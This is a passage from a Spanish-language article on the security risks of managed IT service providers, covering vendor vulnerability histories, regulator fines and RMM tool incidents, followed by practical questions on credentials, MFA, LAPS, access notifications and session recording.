destination» — reembalados y puestos de nuevo en tránsito hacia el destino original.\nLo que el reportaje no muestra es complicidad. Der Spiegel dijo claramente que nada en los documentos sugería que los fabricantes supieran o ayudaran, y Cisco negó toda implicación en su momento, y en mayo de 2014 su director jurídico lo dejó por escrito: «as a matter of policy and practice, Cisco does not work with any government, including the United States Government, to weaken our products» — por política y práctica, Cisco no trabaja con ningún gobierno, incluido el de los Estados Unidos, para debilitar sus productos. Se quejaron de ello al presidente. A primera vista, ellos también fueron una víctima aquí.\nTómalo al pie de la letra. No cambia nada de la caja de tu rack, porque la interdicción nunca necesitó la ayuda del fabricante. Y vale la pena saber qué peso lleva el desmentido, porque la palabra de Cisco se ha puesto a prueba en un tribunal. En 2019 zanjaron un procedimiento bajo la False Claims Act por 8,6 millones de dólares a nivel federal, más 6 millones de dólares ante un grupo de estados, por un software de videovigilancia vendido a organismos públicos con «flaws that would permit unauthorized access to the system, with the potential to control and otherwise manipulate security cameras and the recorded footage» — defectos que permitirían acceso no autorizado al sistema, con potencial para controlar y manipular de otro modo las cámaras de seguridad y las imágenes grabadas. La versión del fiscal general de Nueva York es que Cisco supo de los defectos en 2009 y no los corrigió hasta 2013, después de que empezara la investigación. Los acuerdos no son admisiones de responsabilidad y no fingiré lo contrario. Aun así son cuatro años vendiendo un producto a cuerpos de policía y organismos públicos con una vía de entrada conocida, sin decirlo.\nAsí que el historial es: cuentas root sin documentar por su propia admisión, un catálogo de hace una década que los nombra, una cadena de envío demostrada como comprometible, y un periodo en que sabían de un agujero y siguieron vendiendo. Cualquiera de ellos por separado lo podrías dejar pasar. Juntos son un patrón. Una declaración de una parte interesada no zanja un patrón.\nLa respuesta a eso son controles, no una prohibición. El riesgo tiene su sitio en el documento de diseño con todo lo demás, y las alternativas se cotizan en vez de descartarse. Pregunta qué material competidor se evaluó y qué costaba. Pregunta cuál es la política de verificación y actualización del firmware, y quién la comprueba. Pregunta cómo se recibe e inspecciona el material, y por quién. Pregunta qué pasa con un número de serie que no coincide con el pedido de compra.\nY fíjate en qué fabricantes reciben este escrutinio en tu sector y cuáles no. La misma industria que puso a Huawei en un registro de riesgos por una capacidad que nadie ha producido en público escribirá a Cisco en el diseño de bajo nivel sin una línea de justificación, sobre la fuerza de una insignia de socio. He escrito sobre lo que le pasa a ese argumento cuando aplicas el criterio de forma pareja. Una insignia de socio es una relación comercial con objetivos pegados. Como tal, no es una conclusión de seguridad.\nEl cortafuegos es la vía de entrada Amplía eso de un fabricante a la categoría, porque el cortafuegos es el producto que un MSP vende con más fuerza. Es la partida que justifica la parte de seguridad del contrato.\nLa CISA mantiene un catálogo de vulnerabilidades que se sabe que se explotan en la naturaleza — no teóricamente peligrosas, de verdad usadas contra alguien. Saqué el catálogo y lo conté por fabricante. La versión 2026.08.27 tiene 1 685 entradas. Cisco supone 96 de ellas, solo por detrás de las 386 de Microsoft, y 42 de esas se sientan en las líneas de cortafuegos y borde. Fortinet tiene 29. Palo Alto Networks tiene 15. Para la escala, Ivanti tiene 35 y SonicWall 17.\nMira lo que son de verdad las entradas, porque el patrón nunca varía. Es la interfaz de gestión o el VPN, es decir, la parte deliberadamente expuesta a internet.\nLa única parte de esta línea de tiempo que te toca a ti cerrar Una vulnerabilidad, de publicada a parcheada en tu máquina Publicada existe un número CVE Parche disponible la parte del fabricante está hecha Explotación confirmada añadida al catálogo de CISA Tu máquina parcheada por quien sea que pagas Tu exposición Se sabe que se usa contra alguien, y sigue en tu perímetro Cisco 96 entradas, Fortinet 29, Palo Alto 15. Esos son los números de los fabricantes y son públicos. La longitud de ese tramo sombreado es tuya, y nadie la está pidiendo. Todo proveedor tiene el número. Es la misma medición que la ICO tomó en Capita. El total del fabricante es público y no es la cifra que decide si te hacen daño. El tramo sombreado sí lo es, y pertenece a quien tú pagas. El CVE-2024-3400 de Palo Alto fue una inyección de comandos en la función GlobalProtect de PAN-OS, puntuando 10,0, explotada como día cero. Más tarde el mismo año CVE-2024-0012 dejaba a «an unauthenticated attacker with network access to the management web interface» — un atacante no autenticado con acceso de red a la interfaz web de gestión — pasar de largo la autenticación a 9,8, y se encadenaba con una inyección de comandos en la misma interfaz.\nEl CVE-2022-40684 de Fortinet fue una «authentication bypass using an alternate path or channel» — elusión de autenticación usando una ruta o canal alternativo — a 9,8. Su CVE-2018-13379, un salto de directorio en el VPN SSL, entró en el catálogo en noviembre de 2021. Años después de que el parche existiera, porque había cajas todavía posadas en internet sin parchear y por las que se entraba andando.\nEl CVE-2023-20198 de Cisco en la interfaz web de IOS XE puntuó 10,0. CVE-2025-20333, en el servidor web VPN de su software Secure Firewall ASA y FTD, puntuó 9,9 el pasado septiembre.\nY luego está CVE-2026-20316, añadido al catálogo el 29 de julio de 2026. Cisco Secure Firewall Management Center, «use of hard-coded password» — uso de contraseña codificada en duro —, dejando a «an unauthenticated, remote attacker to log in to an affected device» — un atacante remoto no autenticado iniciar sesión en un dispositivo afectado. Una credencial estática, en la caja que gestiona los cortafuegos, confirmada como explotada, un mes antes de este artículo. El mismo fallo que en 2018 y 2023 de la sección de arriba, en la máquina que administra tu perímetro.\nAhora la parte útil, porque «algunos fabricantes son peores que otros» no es de verdad la lección. Cada uno de estos tiene un historial público y nada de ello aparece en una propuesta. Más al grano, el total del fabricante no es la cifra que decide si te hacen daño. Tu exposición es el hueco entre que una vulnerabilidad entra en ese catálogo y que tu caja está parcheada. Ese hueco no es del fabricante para cerrarlo. Pertenece a quien pagues para hacer funcionar la cosa.\nQue es la misma medida que la ICO tomó en Capita. Alerta a los diez minutos, acción a las cincuenta y ocho horas, objetivo de una. Nadie le pide a su proveedor esa cifra sobre el parcheado de cortafuegos, y es una cifra que tiene todo proveedor.\nCuando lo básico es lo que compraste La parte uno iba sobre la venta. Esto es lo que vino después, en dos casos donde un regulador hizo la investigación y publicó lo que halló.\nEn marzo de 2025 el Information Commissioner multó a Advanced Computer Software Group con 3,07 millones de libras por un incidente de ransomware en agosto de 2022. Advanced «provides IT and software services to organisations, including the NHS and other healthcare providers» — presta servicios de TI y software a organizaciones, incluidos el NHS y otros proveedores sanitarios. Los atacantes entraron «via a customer account that did not have multi-factor authentication» — a través de una cuenta de cliente que no tenía autenticación multifactor. El NHS 111 se vio interrumpido, el personal sanitario no podía alcanzar los historiales de pacientes, y la información personal de 79 404 personas fue tomada. La conclusión de la ICO sobre la causa vale la pena leerla despacio: «while Advanced had installed multi-factor authentication across many of its systems, the lack of complete coverage meant hackers could gain access» — aunque Advanced había instalado autenticación multifactor en muchos de sus sistemas, la falta de cobertura completa permitió que los hackers obtuvieran acceso. Fue también la primera penalización que la ICO ha emitido contra un encargado del tratamiento en vez de contra la organización de quien eran los datos.\nEn octubre de 2025 el mismo regulador multó a Capita con 14 millones de libras por el ataque de 2023 que tomó la información personal de 6,6 millones de personas. Un fichero malicioso aterrizó en el dispositivo de un empleado el 22 de marzo de 2023. Una alerta de alta prioridad se disparó en diez minutos. El dispositivo no se puso en cuarentena durante 58 horas, contra un tiempo de respuesta objetivo de una hora, y la ICO halló que el Security Operations Centre «was understaffed, and in at least six months before the incident fell well below the target response times for responding to security alerts» — estaba falto de personal, y en al menos seis meses antes del incidente cayó muy por debajo de los tiempos de respuesta objetivo para responder a las alertas de seguridad —, junto a pruebas de intrusión y evaluación de riesgos inadecuadas.\nLee lo que esas dos conclusiones tienen en común. No un adversario hábil. No un día cero. Nada que nadie pudiera haber visto. Autenticación multifactor que se compró pero no se terminó, y una cola de alertas que nadie había dotado de personal. Ambas son partidas que alguien aprobó y reportó en verde.\nY nada de esto pilló a la industria por sorpresa. El 11 de mayo de 2022, tres meses antes del incidente de Advanced, las agencias de ciberseguridad del Reino Unido, Australia, Canadá, Nueva Zelanda y los Estados Unidos sacaron un aviso conjunto sobre las amenazas a los proveedores de servicios gestionados y sus clientes, porque estaban «aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers» — al tanto de informes recientes que observan un aumento de la actividad cibernética maliciosa dirigida a los proveedores de servicios gestionados. La primera acción táctica de la lista es imponer autenticación multifactor en las cuentas del MSP que entran en el entorno del cliente.\nLas agencias de seguridad de cinco países lo pusieron por escrito, en público, y nombraron el control. Tres años después un regulador todavía multa a la gente por no haberlo terminado.\nNinguna de esas es una historia de pequeña empresa. Aquí va una. El viernes 24 de noviembre de 2023 el proveedor de TI del sector jurídico CTS se cayó en un incidente cibernético. El propio diario de la Law Society informó de que unos 80 bufetes no podían concluir transacciones, con sistemas fuera de línea y contratos atascados. Son despachos de compraventa inmobiliaria, la mayoría bufetes pequeños, y sus clientes eran gente en plena mudanza. Uno de ellos lo dijo sin rodeos: «This leaves us with so much uncertainty — with movers needing to be booked, days needing to be taken off work at potentially short notice and lives put on hold» — esto nos deja con tanta incertidumbre, con mudanzas que reservar, días de trabajo que pedir libres con poca antelación y vidas puestas en pausa. CTS solo pudo decir esto: que estaba «unable to give a precise timeline for full restoration» — incapaz de dar un calendario preciso para la restauración completa.\nNadie en esa cadena eligió CTS. El bufete lo eligió, y cada cliente aguas abajo del bufete heredó la decisión sin que nunca se le preguntara.\nEso es lo que compras cuando compras un servicio gestionado.\n¿Y cómo te habrías enterado? Fíjate en algo de cada incidente de la sección de arriba. Ninguno le pasó al cliente. Le pasaron al proveedor, y los clientes estaban posados aguas abajo de la mala semana de otro.\nAsí que pon la pregunta directamente. Si nos hackean, ¿nos enteramos por ti? ¿Y a qué velocidad?\nHay un suelo legal, y es más bajo de lo que la gente supone. Allí donde tratan datos personales por cuenta tuya, el artículo 33 dice que «the processor shall notify the controller without undue delay after becoming aware of a personal data breach» — el encargado notificará al responsable sin dilación indebida tras tener conocimiento de una violación de datos personales. Ningún número fijo de horas. Mientras tanto tú, como responsable, tienes 72 horas para avisar al Information Commissioner una vez que tienes conocimiento. Lee esos dos juntos. Cada hora que pasan decidiendo si decírtelo es una hora menos en un reloj que corre contra ti, no contra ellos.\nY ese suelo solo cubre los datos personales. Una intrusión en su consola de gestión, sin prueba aún de que nada tuyo se moviera, puede no generar ningún deber de decírtelo en absoluto — mientras las credenciales que alcanzan cada máquina que posees se sientan en manos de otro. Ese es el hueco. No es pequeño.\nPiensa en a quién se avisa antes que a ti. A sus abogados, por el privilegio. A su aseguradora, porque la póliza lo dice. A su regulador, en el reloj legal. Estás más abajo en esa lista de lo que querrías estar, y el incentivo en cada paso es decir menos hasta que se sepa más.\nLo que deja las alternativas, y todas son peores. Te enteras porque tus sistemas se paran, que es como se enteraron los despachos de compraventa. Te enteras porque llama un periodista. O te enteras porque alguien ve el nombre del proveedor en el sitio de filtraciones de una banda de ransomware, que no es un proceso de notificación, es un accidente del marketing de otro.\nAsí que contrátalo, y sé concreto, porque las cláusulas vagas recaen en el suelo legal. Notificación de cualquier incidente material en su red dentro de un número de horas estipulado, por escrito, se confirme o no que tus datos están implicados. Notificación si cualquier credencial con acceso a tus sistemas ha podido quedar expuesta. Notificación si aparecen en un sitio de filtraciones. Un contacto nombrado de tu lado, no un buzón general.\nLuego haz la pregunta que más te dice, y hazla mientras todavía te están vendiendo. ¿Habéis tenido un incidente? ¿Qué pasó, cuándo se enteraron los clientes, y cómo se enteraron? Un proveedor que ha pasado por uno y lo ha gestionado bien te hablará de ello. Es la mejor prueba que tiene. Alguien que dice que nunca ha pasado es o muy afortunado, o muy pequeño, o no está contando nada.\nLa herramienta que alcanza a cada cliente a la vez Ningún MSP gana dinero tocando máquinas de una en una. La economía necesita una consola que lo alcance todo, y para eso está el software de supervisión y gestión remotas. El RMM se sienta en cada máquina bajo contrato, corriendo como sistema, y el proveedor lo pilota todo desde un solo inicio de sesión.\nUna consola alcanza cada máquina, en cada cliente El fabricante de la herramienta Entrega el agente, y cada actualización de él una actualización firmada se confía al llegar La consola de tu proveedor Un inicio de sesión, cada cliente que tienen Otro cliente Agente en cada máquina Tu edificio Agente en cada máquina, corriendo como system Otro cliente Agente en cada máquina La máquina confía en la consola. La consola confía en el fabricante. A tu cortafuegos se le dijo que permitiera todo ello. El alcance es el producto. Una consola, cada cliente, cada máquina — que es por lo que un atacante que consigue la consola lo consigue todo a la vez. Dale la vuelta y míralo desde tu lado. Hay software en tus máquinas que no elegiste, que probablemente no sabes nombrar, y del que nunca has visto el registro de parcheado. Como tal, puede hacer cualquier cosa, a cualquiera de ellas, en cualquier momento.\nEl historial de esas herramientas no es reconfortante. Empieza en 2021.\nKaseya, julio de 2021. La CISA y el FBI describieron una respuesta a un ransomware «leveraging a vulnerability in the software of Kaseya VSA on-premises products — against managed service providers (MSPs) and their downstream customers» — explotando una vulnerabilidad en el software de los productos on-premises de Kaseya VSA, contra los proveedores de servicios gestionados (MSP) y sus clientes aguas abajo. Una cincuentena de proveedores fueron golpeados, y hasta 1 500 empresas posadas debajo, la mayoría de las cuales nunca había oído hablar de Kaseya y no tenía voz en que estuviera ahí.\nEn enero de 2023 la CISA, la NSA y el MS-ISAC emitieron un aviso conjunto para «warn network defenders about malicious use of legitimate remote monitoring and management (RMM) software» — advertir a los defensores de red sobre el uso malicioso de software legítimo de supervisión y gestión remotas (RMM) —, tras una campaña el octubre anterior en la que unos atacantes engañaron por phishing a la gente para instalar ScreenConnect y AnyDesk, y luego los usaron para llevar una estafa de reembolsos contra las cuentas bancarias de las víctimas. Nadie tuvo que hackear un MSP para eso. La herramienta funciona exactamente igual de bien para ellos que para el proveedor.\nEn febrero de 2024 ConnectWise ScreenConnect resultó portar CVE-2024-1709, que «may allow an attacker direct access to confidential information or critical systems» — puede permitir a un atacante acceso directo a información confidencial o sistemas críticos. Puntuó 10,0. Fíjate en la clase de debilidad que lleva: elusión de autenticación usando una ruta o canal alternativo, palabra por palabra la misma categoría que la elusión de FortiOS de más arriba. Fabricante distinto, producto distinto, mismo error. Nota máxima, en el software que alcanza a cada cliente que tiene un proveedor.\nLuego SimpleHelp. El aviso de la CISA de junio de 2025 describe a actores de ransomware «leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider» — explotando instancias sin parchear de una vulnerabilidad en SimpleHelp RMM para comprometer a clientes de un proveedor de software de facturación de servicios públicos —, alcanzando «downstream customers» — clientes aguas abajo — para una doble extorsión. El fallo por debajo, CVE-2024-57727, deja a un atacante no autenticado sacar «server configuration files containing various secrets and hashed user passwords» — ficheros de configuración del servidor que contienen varios secretos y contraseñas de usuario hasheadas — directamente del host.\nFíjate en dónde aterriza la pérdida cada vez. No en el fabricante. Tampoco de verdad en el proveedor. En los clientes de debajo, que nunca compraron la herramienta, a los que nunca se les dijo cuál era, y que no tuvieron voz alguna en cuándo se parcheaba.\nUna salvedad sobre esas fuentes, porque importa. Son avisos estadounidenses, y eso es porque la CISA publica el detalle de los incidentes mientras que el NCSC en general no nombra. Es una diferencia de divulgación, no de conducta. La herramienta es la misma herramienta, salida del mismo catálogo, y una pequeña empresa de soporte informático de este país está corriendo ScreenConnect o SimpleHelp o uno de sus competidores en tus máquinas esta tarde.\nAsí que pregunta cuál es. Pregunta qué versión, cuándo se parcheó por última vez, quién puede iniciar sesión en la consola, si cada cuenta en ella tiene autenticación multifactor, y cuál es el plan la próxima vez que uno de estos saque un diez.\nLuego pregunta una más, porque la respuesta te dice algo que las otras no. ¿Funciona sobre IPv6?\nEs una pregunta justa en 2026 y aterriza más fuerte de lo que parece. Si la herramienta de gestión solo habla IPv4, entonces IPv4 es lo que tu red tiene que conservar — no porque tu empresa lo necesite, sino porque su herramienta lo necesita. Ese es el plan de direccionamiento fijado por el software de un proveedor en vez de por tus requisitos, y estás pagando cada mes las direcciones que lo hacen posible. Un teletrabajador en una conexión móvil bien puede estar ya en una red solo de IPv6, en cuyo caso todo el arreglo se apoya en una traducción que mantiene otro.\nY si la respuesta es que nunca lo han comprobado, has aprendido la cosa por la que de verdad preguntabas.\nUna más sencilla primero, que se pierde en toda la charla de seguridad. ¿Qué carga pone el agente en la máquina, y dónde está la prueba?\nLa respuesta que obtendrás es «insignificante». Eso es un adjetivo. Lo que quieres es una cifra, medida en hardware como el tuyo en vez de sacada de una ficha técnica — CPU media y de pico, memoria residente, actividad de disco durante un barrido de inventario o un escaneo de parches, y red diaria. Tomada en la máquina más vieja del parque en vez de la más nueva.\nY mide toda la pila, no un agente por su cuenta. Gestión remota, antivirus, detección en el puesto, el cliente de copias, la supervisión, el seguimiento de activos. Cada proveedor dice menos del uno por ciento, hay seis de ellos, y la persona que de verdad tiene que trabajar en ese portátil es la que descubre a cuánto suman seis de ellos. Casi cero es el objetivo correcto. La prueba es la única manera de establecerlo.\nPide las cifras antes del despliegue, y pide tomar las tuyas después en una máquina que tú elijas. Un proveedor confiado en su herramienta ofrece ambas sin que se le empuje.\nUna más sobre la herramienta en sí, y es la que la gente encuentra más extraña hasta que lo piensa. ¿Se te dice cuándo el agente se actualiza en tus máquinas?\nEl agente es el software de mayor privilegio de tu parque. Corre como sistema, en todo, y cambia de versión cuando el proveedor o el fabricante deciden que debería. Se está instalando software por toda tu empresa por un tercero, en silencio, y en la mayoría de los contratos nadie te dice que pasó.\nAhora pon eso al lado de lo que de verdad salió mal en Kaseya. Una actualización maliciosa empujada por un canal de gestión de confianza a cada máquina a la vez. Desde donde tú estás, el día mismo, eso es indistinguible de una actualización de agente rutinaria — mismo canal, mismo privilegio, mismo silencio. La única diferencia es la intención. La intención no es algo que puedas observar.\nAsí que pide notificaciones de cambio de versión, pregunta quién aprueba una actualización de agente y si se prueba en algún sitio antes de alcanzarte, y pregunta la que más importa: ¿qué te diría que ocurrió un empuje que no debería haber ocurrido? Si la respuesta honesta es nada, entonces el control en el que te apoyas es la propia vigilancia del proveedor, que es de lo que trata toda esta sección.\nY las llaves que la abren Luego está lo que abre la consola. Eso recibe aún menos atención que la consola.\nUn MSP tiene credenciales administrativas para cada cliente de su cartera. Es el oficio — es todo el producto. Así que el criterio aplicado a sus propias credenciales debería ser más alto que el que fija para las tuyas, y en la práctica es rutinariamente más bajo. Cuentas compartidas, porque inicios de sesión individuales para doce ingenieros sobre doscientos inquilinos es un engorro. Contraseñas en un cofre que toda la mesa de servicio puede leer. Claves SSH sin frase de paso posadas en portátiles que se van a casa en el tren. Cuentas de emergencia que nadie ha tocado desde que la persona que las hizo dejó la empresa.\n«Usamos MFA» es donde esa conversación normalmente se para, y no debería, porque sus formas no son iguales. La CISA las clasifica de la más fuerte a la más débil: FIDO/WebAuthn y las basadas en PKI arriba, que llama «the gold standard» — el estándar de oro; contraseñas de un solo uso por aplicación y notificaciones push por debajo, «vulnerable to push bombing attacks as well as user error» — vulnerables a los ataques de bombardeo push así como al error del usuario; y SMS del todo abajo, que «should only be used as a last resort MFA option» — solo debería usarse como opción de MFA de último recurso. Solo la fila de arriba resiste al phishing. Todo lo de debajo se puede retransmitir, fatigar o interceptar mientras la persona que lo aprueba cree que inicia sesión con normalidad.\nLos atacantes también han leído ese documento. El aviso de la CISA sobre Scattered Spider dice que el grupo «targets large companies and their contracted information technology (IT) help desks» — apunta a grandes empresas y a sus mesas de ayuda de TI contratadas. No al cliente. La mesa de ayuda que puede reiniciar las credenciales del cliente. Eso es mucho más fácil, y te da a todo el mundo a la vez.\nAsí que la pregunta es más estrecha que si usan MFA. ¿Está cada cuenta que puede alcanzar tus sistemas en un token de hardware — un token, no una aplicación — y qué pasa cuando alguien llama a la mesa de servicio a las once de la noche diciendo que es un ingeniero que se ha quedado fuera?\nEl arreglo aquí es excepcionalmente simple, lo que hace su ausencia difícil de perdonar. Google le dijo a KrebsOnSecurity en 2018 que «has not had any of its 85,000+ employees successfully phished on their work-related accounts since early 2017» — no ha tenido a ninguno de sus más de 85 000 empleados phisheado con éxito en sus cuentas de trabajo desde principios de 2017 —, cuando empezó a exigir llaves de seguridad físicas en vez de contraseñas y códigos de un solo uso. No menos incidentes. Ninguno. El mismo artículo nota que la llave básica se vendía al por menor a veinte dólares.\nAhora escala eso a un proveedor de servicios gestionados. No necesitan emitir llaves a tu personal. Necesitan emitirlas a sus propios ingenieros, y hay quizá una docena de esos que tienen las credenciales que alcanzan a cada cliente de la cartera. Una docena de llaves, compradas una vez, contra un radio de explosión que cubre cada empresa que tocan. Veinte libras cada una. Cuando alguien te dice que los tokens de hardware son impracticables, pregunta cuánta gente necesitaría de verdad uno.\nY hay una pregunta relacionada que deberías hacer sobre tu propio parque, porque la mayoría de los clientes nunca ha pensado en ello. ¿Quién tiene la cuenta de emergencia de tus sistemas? En muchísimos contratos la respuesta honesta es que la tiene el proveedor, y tú no tienes un juego en absoluto. No puedes entrar en tu propia infraestructura sin llamarlos. Eso no es un control de seguridad, es una dependencia. Muerde en los peores días en vez de en los ordinarios. El día que das el aviso. El día que los compra alguien que tú no elegiste. El día que son ellos los comprometidos y tienes que actuar sin ellos.\nDeberías tener tus propias credenciales de emergencia, selladas, escritas en el contrato, y probadas en una fecha que alguien pueda señalar. Si tu proveedor es reticente, la reticencia misma te ha dicho algo.\nLa misma pregunta baja hasta el escritorio, y esta es la que se olvida del todo. Cada portátil y sobremesa que te construyeron tiene una contraseña de administrador del BIOS puesta, fijada durante la construcción por alguien de su lado. Tú posees la máquina. Ellos tienen la llave de ella.\nPiensa en lo que esa contraseña gobierna de verdad. El orden de arranque. El arranque seguro. Si la cosa arrancará siquiera de un pendrive USB. Es decir, si puedes reinstalar una máquina que posees, recuperar una que no arranca, entregar un lote a otro, o borrarlas como es debido antes de que salgan por la puerta. En un portátil también puede ser lo que se interpone entre un ladrón y el disco. Nada de eso es exótico. Es el asunto ordinario de poseer ordenadores, y en muchísimos parques el dueño no puede hacer nada de eso sin llamar al proveedor.\nPide el lote. Cada portátil, cada sobremesa, cada servidor — la contraseña del BIOS o firmware, el inicio de sesión del BMC en todo lo que tenga uno, y la contraseña del gestor de arranque en todo donde GRUB o su equivalente se haya bloqueado, que es el mismo candado una capa más arriba y es lo que se interpone entre ti y un arranque de rescate en un servidor que no arranca. Si es la misma contraseña en todos, eso vale la pena saberlo también. Y si la respuesta es no, pregunta por qué no, porque las razones que se ofrecen son delgadas: la honesta es que hace más fácil su construcción, y el resto va disfrazado de seguridad. Una contraseña que no tienes permiso de tener no te protege de nadie. Los protege a ellos de que te vayas.\nLuego está la cuenta con la que de verdad inicias sesión para arreglar una máquina. Administrador local en cada caja Windows, root en cada Linux, y algo equivalente en cada switch, cortafuegos e hipervisor del edificio. Dos preguntas cubren el lote, y cubren también las contraseñas de firmware y gestor de arranque de arriba. ¿Son distintas en cada máquina, y qué sistema de gestión de contraseñas las tiene — el tuyo, o el suyo?\nQue sean distintas importa más de lo que la gente espera. Una contraseña de administrador local en doscientas máquinas no son doscientas contraseñas, es una, y está posada en el portátil menos defendido de la empresa tanto como en el servidor de finanzas. Eso no es una debilidad teórica, es la jugada estándar — entrar en cualquier cosa, leer la contraseña, andar hacia todo. Microsoft entrega la respuesta en la caja. Windows LAPS fija una contraseña distinta en cada máquina, la renueva según un calendario, y la respalda en Active Directory o tu propio tenant de Entra. La propia página de Microsoft lista el beneficio primero como «protection against pass-the-hash and lateral-traversal attacks» — protección contra los ataques pass-the-hash y de traslado lateral —, y la función es gratis en cada versión soportada de Windows, sin nada más que pagar para guardar las contraseñas en tu propio directorio. Así que si la respuesta es una contraseña en todas partes, no es un problema de licencia y no es un problema de herramienta. Alguien nunca la activó.\nDe quién es el sistema que guarda la contraseña de tu máquina El arreglo común Su bóveda, o la atornillada a su herramienta Cada contraseña de administrador de tu empresa en manos de una empresa con la que no tienes cuenta Tus máquinas Servidores, laptops, switches, firewalls, hipervisores El registro de quién leyó una es suyo No puedes auditar aquello a lo que no puedes entrar Retirarlo significa pedir por favor, en el peor momento El arreglo que quieres Tu directorio, o tu bóveda Una contraseña distinta en cada máquina, rotada, depositada donde tu propio control de acceso la alcanza Las mismas máquinas Al proveedor se le da acceso, no custodia Tú guardas el registro de quién leyó qué Puedes verlo hoy, sin pedírselo a nadie Puedes retirarlo un martes por la tarde Una contraseña de administrador local en doscientas máquinas no son doscientas contraseñas. Es una, y está en el portátil menos defendido de la empresa además de en el servidor de finanzas. Microsoft entrega la respuesta a eso gratis, y pone la contraseña en tu directorio en vez del suyo. Mismas máquinas, mismas contraseñas, dos respuestas distintas a quién las tiene y quién puede ver cuándo se lee una. De qué sistema es el que hay que presionar, y fíjate en dónde pone LAPS la contraseña por defecto: en tu directorio, bajo tu control de acceso, con tu registro de quién la leyó. Esa es la forma que quieres en todo. La credencial de tu máquina vive en algo que posees, y a tu proveedor se le concede acceso a ella — un acceso que puedes ver, y retirar un martes por la tarde sin pedir permiso.\nLa otra forma es la común. Las contraseñas se sientan en su gestor de contraseñas, o en el cofre de acceso privilegiado atornillado a su herramienta de gestión remota, y no tienes inicio de sesión para él. Entonces cada contraseña administrativa de tu empresa la tiene una empresa con la que no tienes cuenta, el registro de quién leyó una es suyo, y el día que la relación se agría estás pidiendo con educación las llaves de máquinas que posees.\nAsí que haz la repregunta, y hazla ahora en vez de en la reunión de salida. ¿Cómo entran estas en nuestro sistema? Hay tres respuestas honestas. Mover el depósito a nuestro directorio o nuestro cofre, y tomar un acceso delegado a él. O darnos acceso de lectura al vuestro hoy, con un export que podamos lanzar nosotros mismos, en un formato que nuestro propio cofre trague. O entregarnos una copia sellada según un calendario, fechada, que abramos y probemos. «Está todo en nuestro sistema y lo tendrás cuando te vayas» no está en la lista, porque el día que te vas es el día que tienen menos razón para ser rápidos con nada.\nY pregunta qué pasa con esas contraseñas después. Una credencial que sus ingenieros han conocido durante cuatro años no se vuelve segura por un correo diciendo que se fue. Cada una de ellas necesita renovarse a la salida, por ti, en máquinas de las que ahora tienes la contraseña de firmware.\nY luego la versión en vivo de todo ello. ¿Se te dice cuándo se lee una contraseña de uno de tus sistemas?\nNo un registro que ellos guardan y podrían enseñarte si lo pidieras. Un mensaje que llega a tu lado: qué credencial, qué ingeniero, qué ticket, y cuándo. La capacidad no está en duda en ningún sitio — cada cofre digno del nombre registra una retirada, y el propio depósito de Microsoft lo hace en tu propio tenant, donde recuperar una contraseña se escribe en el registro de auditoría de Entra como «Recover device local administrator password» — recuperar la contraseña de administrador local del dispositivo — contra la cuenta que lo hizo. Así que la única pregunta real es si el registro apunta a algún sitio que puedas ver.\nPregunta, y si la respuesta es no, pregunta por qué no. Hay un no honesto ahí en algún sitio — una alerta en cada retirada en un parque cargado se dispararía cuarenta veces al día y dejarías de leerla para el miércoles. Eso tiene una respuesta en vez de ser el final de la conversación. Alerta sobre las que deberían ser raras: la cuenta de administrador de dominio, las credenciales de emergencia, las contraseñas de firmware y gestor de arranque, las claves de recuperación. Y alerta sobre cualquier lectura sin número de ticket pegado, porque eso es o una llevanza de registros descuidada o precisamente la cosa de la que quieres oír, y ninguna de las dos se sirve bien enterándose en la revisión trimestral.\nLo que pueden hacer una vez dentro Una más, y es la que más a menudo recibe una mirada en blanco. ¿Se te dice cuándo uno de sus ingenieros entra en tus sistemas?\nNo un registro que ellos guardan. Una notificación que recibes — quién entró, cuándo, por cuánto tiempo, y contra qué ticket. Pídela, y si la respuesta es no, pregunta por qué no.\nHay un precedente, y se sienta dentro de los productos que te revenden. El Customer Lockbox de Microsoft hace que un ingeniero de Microsoft pida tu aprobación explícita antes de poder alcanzar tu contenido en un caso de soporte. Google publica registros de Access Transparency de su propio personal tocando tus datos, y Access Approval hace que pidan primero. Así que los mayores proveedores de la tierra, con un acceso mucho más estrecho que el que tiene tu proveedor, han construido flujos de aprobación y registros de acceso para sus propios empleados, y te entregan el registro.\nTu MSP tiene administrador de dominio. Pregunta qué te entrega.\nY hay una razón más dura que la rendición de cuentas. Una notificación que llega a tu lado es el único signo independiente que obtendrás jamás de que sus credenciales las está usando alguien que no son ellos. Si un atacante entra por una mesa de servicio, cada registro que lo mostraría se sienta dentro de la organización que acaba de ser comprometida. Uno que aterriza en tu bandeja de entrada se sienta fuera.\nUn nivel por debajo de eso otra vez, en la máquina misma. ¿Puede la herramienta remota conectarse al escritorio de alguien sin que esa persona lo consienta?\nPara un servidor a las tres de la mañana, el acceso sin supervisión es todo el objeto y nadie sensato objeta. Para una máquina a la que alguien está sentado, con su correo abierto y su trabajo en la pantalla, es un acto distinto. Cada producto de gestión remota serio se puede ajustar para pedir antes de conectarse, para mostrar un indicador visible mientras una sesión está en curso, y para dejar que la persona rechace. Que el tuyo haga algo de eso es un ajuste de configuración, y el ajuste lo eligieron las personas a quienes les conviene.\nAsí que pregunta tres cosas, y mantenlas separadas. ¿Pueden tus ingenieros alcanzar un escritorio del personal sin aviso? ¿La persona sentada delante ve algo mientras alguien está conectado? ¿Puede rechazar?\nSi la primera es sí y las otras dos no, eso no es una restricción técnica. Es un valor por defecto que nadie revisó, sobre un producto comprado por la parte a la que favorece. También vale la pena ponerlo delante de quien lleve la protección de datos en tu organización, porque alguien mirando la pantalla de un empleado sin su conocimiento es una decisión que debería tener un nombre enfrente.\nLuego la pregunta que decide si algo de esto es demostrable después. ¿Se graba a sus ingenieros mientras trabajan en tus sistemas?\nLa grabación de sesión no es exótica y no es una gran petición. Es una función estrella de cada producto de acceso privilegiado del mercado, lo que quiere decir que tu proveedor bien posiblemente ya la paga y nunca la ha activado. Una sesión grabada te da un vídeo, o un registro de pulsaciones y comandos, o los dos, ligados a un ingeniero nombrado y un número de ticket. Así es como se ve la rendición de cuentas cuando es real en vez de prometida — no una garantía de que los ingenieros se portan bien, sino un registro que lo mostraría si uno no lo hiciera.\nAsí que pregunta si está activada, y luego pregunta cómo accedes a ellas, porque una grabación que no puedes obtener no es una prueba, es un rumor. Hay tres respuestas que vale la pena tener, en orden descendente. Las grabaciones aterrizan en un almacenamiento que posees, escritas a medida que se hacen. O tienes acceso de lectura a su sistema hoy, con un export que puedes lanzar tú mismo. O hay una vía de solicitud con un plazo estipulado — horas, por escrito, en el contrato — que has probado al menos 